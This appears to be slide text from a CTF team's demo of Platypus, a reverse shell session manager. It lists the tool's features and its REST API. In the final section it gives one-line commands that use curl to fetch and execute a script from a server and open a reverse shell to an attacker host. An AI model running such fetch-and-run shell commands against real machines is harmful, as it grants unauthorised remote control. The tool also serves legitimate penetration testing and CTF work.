Platypus Demo

Harbin Institute of Technology

Lilac CTF Team

https://github.com/wangyihang/Platypus

Features

Features

- Cross Platform (Depending on Golang)
- Multiple Server Listening Ports
- Multiple Reverse Shell Sessions
- RESTful API
- Reverse Shell as a Service
- Full Interactive Shell (On *nix)
- File System Operations (TBD)

Full Interactive Shell

- Using CTRL+C to send a SIGINT signal to the foreground process?
- Using CTRL+Z to STOP the foreground process?
- Using vim in a reverse shell gracefully?
  - https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
  - https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2

RESTful API

- Secondary development via Platypus
- RESTful API
  - GET /client
  - POST /client
    - –data ‘cmd=whoami’
  - Hash method
- Python Example

Reverse Shell as a Service

- Get a reverse shell by a single command
  - sh -c "$(curl http://host:port/)"
  - sh -c "$(curl http://host:port/attacker-host/attacker-port)"